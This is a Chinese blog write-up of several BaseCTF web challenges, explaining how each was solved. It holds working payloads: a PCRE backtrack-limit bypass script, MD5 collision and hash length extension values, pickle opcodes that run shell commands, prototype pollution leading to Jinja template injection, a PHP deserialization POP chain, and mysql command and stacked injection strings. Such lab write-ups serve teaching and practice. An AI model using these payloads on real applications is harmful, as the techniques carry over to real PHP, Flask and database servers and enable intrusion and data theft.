BaseCTF一些值得一提☞web题的wp

Web

1z_php

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

首先第一个判断是if($emp!="114514"&&intval($emp,0)===114514)
$emp=$_GET['e_m.p'];
这里要提到一个比较重要的点

在给参数传值时,如果参数名中存在非法字符,比空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。并且,在PHP8之前,如果参数中出现中括号 [ ,那么中括号会被转换成下划线 _ ,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
因此我们可以通过构造e[m.p来传参,这里可以通过八进制来绕过,同时这里的八进制也可以绕过后面的ctype_alpha($emp[$i]),它要求均为数字
?e[m.p=0337522

然后是第二个判断if (preg_match('/.+?HACKER/is',$try))与if (!stripos($try,'HACKER') === TRUE)
要求两个判断均不能成立
第一个判断是:这个正则表达式用于匹配从任意字符开始,直到第一个出现的“HACKER”,并且匹配过程是忽略大小写的。
第二个判断是要求$try传入的值HACKER必须是开头就匹配到的
这两个判断看上去其实是冲突的
这里就又出现了一个重要的点

PHP为了防止正则表达式的拒绝服务攻击,给pcre设定了一个回溯次数上限pcre.backtrack_limit 。回溯次数上线默认为100万。如果回溯次数超过了100万,preg_match将不再返回1和0,而是false
因此如果HACKER前面有100万个任意字符就能直接绕过preg_match,这样两个if就都能绕过了

下面给出一个python脚本:

import requests
url = 'http://challenge.basectf.fun:43386/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {'try': 'very' * 250000 + '123123HACKER'}
response = requests.post(url=url, data=data, verify=False)
print(response.text)

最后是要获取flag.php的内容了

if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();

要求$b中开头一定是php
接下来就是通过echo (new $a($b))->$c();来获取flag.php中的内容

SplFileObject 是 PHP 的一个类,属于 SPL(Standard PHP Library)。它用于处理文件操作,提供了一种面向对象的方式来读取、写入、遍历文件内容。SplFileObject 类封装了文件的常见操作,提供了比 fopen() 和 fgets() 更直观和高效的方法。
我们可以通过SplFileObject这个类来获取flag.php的内容
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets

最后就可以直接用一个脚本来获取flag

import requests
url = 'http://challenge.basectf.fun:43386/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {'try': 'very' * 250000 + '123123HACKER'}
response = requests.post(url=url, data=data, verify=False)
print(response.text)

所以你说你懂MD5?

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

if (!($apple !== $banana && md5($apple) === md5($banana)))
这里可以直接通过数组绕过apple[]=1&banana[]=2

if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana)))
这里将类型强制转换成了String,但是是若等于,因此0e绕过appple=byGcY&bananana=QNKCDZO

if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana)))
此处考点为md5碰撞,需要md5值一样但是string值不同的字符串
apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

最后一块的考点是哈希长度拓展攻击,这里先附上payload:name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=644992bb1c7289ff7624eed973f2851a
告诉了我们$random的md5值,但是接下来需要我们知道$random.$name的md5值,同时$name一定要以admin结尾。
我们需要知道的前提条件:一.$random和一个附加值的md5值,这里没有附加值,知道$random的md5值即可
二.要附加的值,这里为空即可
三.$secret的长度,也就是48
四.$admin,直接为admin即可。

因此将上面的payload拼接后便可得到flag

Pickle Init
本题的考点其实是最简单一种的pickle反序列化

#!/bin/bash
echo "${GZCTF_FLAG}" > /flag
python3 -c "import('pickle').loads(import('sys').stdin.read(50).encode('ASCII'))"

服务器将${GZCTF_FLAG}输出到/flag下,同时反序列化一个从外部输入(如文件或网络)传入的数据。
我们可以通过构造一个opcode来进行命令执行

(S'cat /flag'\nios\nsystem\n.

这里我就不过多叙述pickle反序列化的内容,大家可以去这位大佬的博客看看,个人认为讲的还是很不错的
https://goodapple.top/archives/1069

Pickle UUUUUUPPPPPP

#!/bin/bash
echo "${GZCTF_FLAG}" > /flag
python3 -c "import('pickle').loads(import('sys').stdin.read(23).encode('ASCII').replace(b'sh',b''))"

本题过滤了sh,同时将可以输入的opcode限制为23字节。
我们可以通过linux中一个特殊的环境变量$0来绕过
$0表示当前正在执行的脚本或程序的名称,如果你是在终端中运行命令而不是执行脚本,$0 通常表示当前 shell 的名称,例如 /bin/bash 或 bash。
这就相当于用$0新建一个终端来帮助我们执行命令

(S'$0'\nios\system\n.

Pickle Fin!

#!/bin/bash
echo "${GZCTF_FLAG}" > /flag
python3 -c "import('pickle').loads(import('sys').stdin.read(11).encode('ASCII').replace(b'sh',b''))"

将可以输入的opcode限制为11字节
这里可以用到python中pdb调试模块来进行绕过,如果我们进入调试状态就能绕过11字节的限制
opcode如下:

(ipdb\ntest\n
test其实就是需要调试的模块,这个test用其他模块也行,去pdb.py源码翻找即可
然后就可以通过执行python命令来调用系统命令获取flag

Jinja Mark

首先去/flag下爆破一下幸运数字

得到如下源码:

<!DOCTYPE html>
        <html>
        <head>
            <title>Hint Page</title>
        </head>
        <body>
            <p>你不会以为这里真的有flag吧?</p >
            <p>想要flag的话先猜猜我的幸运数字</p >
            <p>用POST方式把 lucky_number 告诉我吧,只有四位数哦</p >
            <pre>BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"
</pre>
        </body>
        </html>

可以看出这是一道关于python原型链污染的题目
我们尝试访问一下/index目录,发现是存在ssti模板注入,但是过滤了{},源码也说了BLACKLIST_IN_index = ['{','}'],因此我们可以通过原型链污染将BLACKLIST_IN_index这个全局变量设置为空

设置成功,接下来我们去/index进行ssti模板注入

发现过滤消失

构造payload:{{url_for.globals.os.popen('cat /flag').read()}}

ez_php

<?php
highlight_file(__file__);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker{
    public $start;
    public $end;
    public $username="hacker";
    public function __construct($start){
        $this->start=$start;
    }
    public function __wakeup(){
        $this->username="hacker";
        $this->end = $this->start;
    }

    public function __destruct(){
        if(!preg_match('/ctfer/i',$this->username)){
            echo 'Hacker!';
        }
    }
}

class C{
    public $c;
    public function __toString(){
        $this->c->c();
        return "C";
    }
}

class T{
    public $t;
    public function __call($name,$args){
        echo $this->t->t;
    }
}
class F{
    public $f;
    public function __get($name){
        return isset($this->f->f);
    }

}
class E{
    public $e;
    public function __isset($name){
        ($this->e)();
    }

}
class R{
    public $r;

    public function __invoke(){
        eval($this->r);
    }
}

if(isset($_GET['ez_ser.from_you'])){
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
    if(preg_match("/\[|\]/i", $_GET['substr'])){
        die("NONONO!!!");
    }
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");
    $a = unserialize($ser_ctf);
    throw new Exception("杂鱼~杂鱼~");
} 

看到这道题后可以先把pop链构造出来
利用倒推的方法从eval函数开始倒推,这里我们要注意的是

if(!preg_match('/ctfer/i',$this->username))
将$this->username当作字符串处理从而触发toString

因此要将$this->username赋值为C类,然而在wakeup中存在这样的代码

$this->username="hacker";
$this->end = $this->start;
这会在反序列化时将username强制赋值为"hacker"
但是下面又有对$this->end赋值的存在
因此可以使用引用绕过,将end赋值为username的地址,这样对end赋值时username的值也会改变

最后就能构造出这样的payload

$a=new Hacker();
$a->end=&$a->username;
$a->start=new C();
$a->start->c=new T();
$a->start->c->t=new F();
$a->start->c->t->f=new E();
$a->start->c->t->f->e=new R();
$a->start->c->t->f->e->r="system('whoami');";

接下来要注意此处的throw new Exception("杂鱼~杂鱼~");

这里有一个异常抛出,使得__destruct并不能触发,这时就需要使用gc回收的机制,使__destruct提前触发,让pop链能够往后走

$b=array('1'=>$a,'2'=>null);
注意这里要将序列化字符串的i:2;N;改成i:1;N;

得到序列化字符串如下:

a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

传入ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}即可

最后我们要关注的就是字符串逃逸惹~

mb_substr和mb_strpos函数漏洞:

当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41  上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动

每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

substrstr($pre."[".serialize($ctf)."]");
我们先把serialize($ctf)的值拿出来看看:

O:6:"Hacker":3:{s:5:"start";s:214:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

O:6:"Hacker":3:{s:5:"start";s:214:"{{{这一部分的38个字符是需要截掉才能进行后续的unserialize的

因此我们可以将$pre构造为
%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab

最终payload即可得到:
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:%22Hacker%22:3:{s:5:%22start%22;O:1:%22C%22:1:{s:1:%22c%22;O:1:%22T%22:1:{s:1:%22t%22;O:1:%22F%22:1:{s:1:%22f%22;O:1:%22E%22:1:{s:1:%22e%22;O:1:%22R%22:1:{s:1:%22r%22;s:17:%22system(%22whoami%22);%22;}}}}}s:3:%22end%22;s:6:%22hacker%22;s:8:%22username%22;R:9;}i:1;N;}>

参考https://www.cnblogs.com/EddieMurphy-blogs/p/18310518
Lucky Number

点击查看代码
你不会以为这里真的有flag吧?

想要flag的话先提交我的幸运数字5346

但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了

但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法

下面是前人留下来的信息,希望对你有用

from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

首先审计一下这大串代码
幸运数字是5346,heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,在/m4G1c
再看下面的代码,非常明显是对python原型链污染的一种考察。

分析一下这道题目:
他需要我们去污染heaven模块的create函数的__kwdefaults__,
if confirm and "lucky_number" in create.kwdefaults
create函数中提到confirm为true,lucky_number存在且为5346时即可成功,因此就是对confirm和lucky_number进行污染
然而heaven模块并不是我们所处的模块,我们需要用sys模块的modules属性来获取heaven模块,因此接下来我们需要用到__spec__(每个模块对象都有一个 spec 属性)来获取sys模块。

payload如下:

{
	"__class__":{
		"__init__":{
			"__globals__":{
				"os":{
					"__spec__":{
						"__init__":{
							"__globals__":{
								"sys":{
									"modules":{
										"heaven":{
											"create":{
												"__kwdefaults__":{
													"confirm":true,
													"lucky_number":"5346"
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}
	}
}

上面的os模块其实换成json等模块也是可以的,我这里都是成功的。
post传递后有如下回显:

访问/check后他会告诉我们黑名单已经清空快去/ssSstTti1注入吧
再次访问/ssSstTti1,接下来就是一种最简单的ssti模板注入了
payload:

url_for.globals.os.popen('cat /flag').read()

RCE or Sql Inject

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

这里del into select这些都没法用了,sql注入是不太现实了
同时他题目的提示也给到了我们RCE,mysql远程连接和命令行操作,和让我们输入一个问号。
这道题可能是考察mysql命令行中的一些操作
在mysql命令行中输入?试试

可以发现里面有一个system,可以通过mysql命令行直接执行系统命令

$query = "mysql -u root -p123456 -e "use ctf;select 'ctfer! You can\'t succeed this time! hahaha'; -- " . $sql . """;
我们发现这里面有个-- ,也就是注释符,因此我们还需要绕过一下注释
%0a换行即可绕过
env:查看所有环境变量

payload:
%0asystem env

Sql Inject or RCE

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
    die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

system被过滤,无法再像上面那题一样进行命令执行,但我们发现sql注入过滤中的del变成了delete,用我们的小脑瓜想一想,这道题还是考察sql注入
select被过滤,那可以用handler来进行堆叠注入,然而分号也被过滤。
但是mysql中有一个关键字叫DELIMITER,它可以改变语句结束的分隔符,可以将分号改成其他
因此我们就可以对此进行堆叠注入
payload:

?sql=%0ADELIMITER m%0Ahandler flag openm%0Ahandler flag read nextm

posted @ 2024-09-17 15:54  Meteor_Kai  阅读(410)  评论(0)    收藏  举报